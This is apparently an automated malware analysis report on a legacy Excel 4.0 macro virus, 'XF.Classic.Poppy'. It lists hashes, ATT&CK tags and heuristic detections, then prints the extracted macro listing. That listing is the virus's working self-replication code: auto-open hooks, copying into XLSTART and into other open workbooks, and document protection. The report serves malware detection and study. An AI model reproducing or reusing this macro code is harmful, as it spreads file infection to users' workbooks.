Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 116b92fb0017cb6b…

MALICIOUS

Office (OLE)

29.0 KB Created: 2013-12-27 03:18:03 Authoring application: Microsoft Excel First seen: 2015-09-30
MD5: 979416e1909c5d3c2b646a62f5beaeb0 SHA-1: d21d07282991d7d453132a255590c4f13923e3d6 SHA-256: 116b92fb0017cb6b750ab3d23b4a58ff3189a98218f2254cbfea52bc97ec9ada
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains critical heuristic firings indicating the presence of Excel 4.0 (XLM) macros, specifically an Auto_Open entry. The extracted document body and macro information reveal that this is a legacy Excel Formula Macro Virus, likely named 'Poppy' or 'XF.Classic', which attempts to infect other workbooks and potentially execute arbitrary code via dangerous formula APIs like RUN. The presence of Auto_Open suggests it is intended to be delivered as a spearphishing attachment.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Legacy Excel formula macro virus marker critical OLE_XLS_FORMULA_MACRO_VIRUS
    Workbook stream contains self-identifying legacy Excel formula macro virus markers. This indicates the document carries formula macro virus content even when no VBA project or modern XLM macro-sheet structure is present.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 7063 bytes
SHA-256: 767f648932d1d34ede72b2559e918277f272b5d64a9939c75ad1ef519b3a28df
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  XL4Popp
' 0018     24 LABEL : Cell Value, String Constant - \P len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00\x01\x01\x01\x01'
' 0018     27 LABEL : Cell Value, String Constant - _Key1 hidden len=7 ptgRef3d  Sheet!B158 
' 0018     25 LABEL : Cell Value, String Constant - _Order1 hidden len=3 ptgInt 255 
' 0018     31 LABEL : Cell Value, String Constant - _Sort hidden len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x9d\x00\xa4\x00\x01\x00\x0e\x00'
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 10 ? hidden len=7 ptgRef3d 6!A2 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 2 Auto_Close len=7 ptgRef3d 5!C4 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d 5!C4 
' 0018     26 LABEL : Cell Value, String Constant - Bust len=7 ptgRef3d 5!C31 
' 0018     30 LABEL : Cell Value, String Constant - Continue len=7 ptgRef3d 5!C9 
' 0018     33 LABEL : Cell Value, String Constant - Country len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x00\x00\xff\xff$\x00$\x00'
' 0018     27 LABEL : Cell Value, String Constant - built-in-name 4 ? len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x00\x00e\x01\x01\x00/\x00'
' 0018     83 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00 \xff\xb9\x01'
' 0018     41 LABEL : Cell Value, String Constant - Documents_array len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00\x00\x00\x0f\x00\x01\x00\x01\x00'
' 0018     27 LABEL : Cell Value, String Constant - Hello len=7 ptgRef3d 5!A15 
' 0018     25 LABEL : Cell Value, String Constant - hhh len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x04\x04\x04\x04'
' 0018     28 LABEL : Cell Value, String Constant - MakeIt len=7 ptgRef3d 5!A26 
' 0018     29 LABEL : Cell Value, String Constant - Morning len=7 ptgRef3d 5!C39 
' 0018     27 LABEL : Cell Value, String Constant - Poppy len=7 ptgRef3d 5!C27 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Sheet,A4,"",1.00000000000000000000
'  Sheet,E4,C4*D4/10000,""
'  Sheet,A5,"",2.00000000000000000000
'  Sheet,E5,C5*D5/10000,""
'  Sheet,A6,"",3.00000000000000000000
'  Sheet,E6,C6*D6/10000,""
'  Sheet,E7,R~3C~4,""
'  XL4Popp,C1,WORKBOOK.HIDE("XL4Poppy"),""
'  XL4Popp,A4,"",3.00000000000000000000
'  XL4Popp,C4,RUN(C18),""
'  XL4Popp,C5,"ERROR(TRUE,Continue)",""
'  XL4Popp,C6,IF(A4=3),""
'  XL4Popp,C7,RETURN(),""
'  XL4Popp,C8,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,C9,ERROR(FALSE),""
'  XL4Popp,C10,RUN(A21),""
'  XL4Popp,C11,"ON.TIME("6:30:00 PM","Hello")",""
'  XL4Popp,C12,"ON.TIME("6:30:00 AM","Morning")",""
'  XL4Popp,C13,"ON.SHEET(,"Poppy",TRUE)",""
'  XL4Popp,C14,RETURN(),""
'  XL4Popp,A15,"ALERT("XF.Classic.Poppy by VicodinES",2)",""
'  XL4Popp,A16,"ALERT("© 1998 The Narkotic Network",2)",""
'  XL4Popp,A17,RETURN(),""
'  XL4Popp,C18,"SET.VALUE(A3,(GET.WORKSPACE(32)&"\xlstart\Book1."))",""
'  XL4Popp,C19,"SET.NAME("Document_array",DOCUMENTS())",""
'  XL4Popp,C20,"SET.VALUE(A1,INDEX(Document_array,2))",""
'  XL4Popp,A21,"IF(FILES(A3)="Book1.",0,99)",""
'  XL4Popp,C21,"SET.VALUE(A2,INDEX(Document_array,1))",""
'  XL4Popp,A22,"ERROR(TRUE,MakeIt)",""
'  XL4Popp,C22,"SET.VALUE(A4,GET.DOCUMENT(3,"["&A1&"]"&"XL4Poppy"))",""
'  XL4Popp,A23,IF(A21=0),""
'  XL4Popp,C23,RETURN(),""
'  XL4Popp,A24,RETURN(),""
'  XL4Popp,A25,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A26,NEW(1),""
'  XL4Popp,A27,WORKBOOK.INSERT(1),""
'  XL4Popp,C27,RUN(C19),""
'  XL4Popp,A28,WORKBOOK.INSERT(1),""
'  XL4Popp,C28,"ERROR(TRUE,Bust)",""
'  XL4Popp,A29,ACTIVATE.PREV(),""
'  XL4Popp,C29,IF(A4=3),""
'  XL4Popp,A30,RUN(C18),""
'  XL4Popp,C30,RETURN(),""
'  XL4Popp,A31,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,C31,ERROR(FALSE),""
'  XL4Popp,A32,"WORKBOOK.NAME("Sheet3","Sheet99")",""
'  XL4Popp,C32,ACTIVATE.PREV(),""
'  XL4Popp,A33,"WORKBOOK.NAME("Sheet1","Sheet3")",""
'  XL4Popp,C33,RUN(C19),""
'  XL4Popp,A34,"WORKBOOK.NAME("Sheet99","Sheet1")",""
'  XL4Popp,C34,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,A35,"PROTECT.DOCUMENT(TRUE,,"VicodinES",TRUE)",""
'  XL4Popp,C35,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A36,WORKBOOK.PREV(),""
'  XL4Popp,C36,RETURN(),""
'  XL4Popp,A37,WORKBOOK.PREV(),""
'  XL4Popp,A38,WORKBOOK.PREV(),""
'  XL4Popp,A39,SAVE.AS(A3),""
'  XL4Popp,C39,APP.TITLE("XF.Classic.Poppy"),""
'  XL4Popp,A40,FILE.CLOSE(),""
'  XL4Popp,C40,"MESSAGE(TRUE,"VicodinES and Lord Natas greet you a good morning!")",""
'  XL4Popp,A41,RETURN(),""
'  XL4Popp,C41,RETURN(),""

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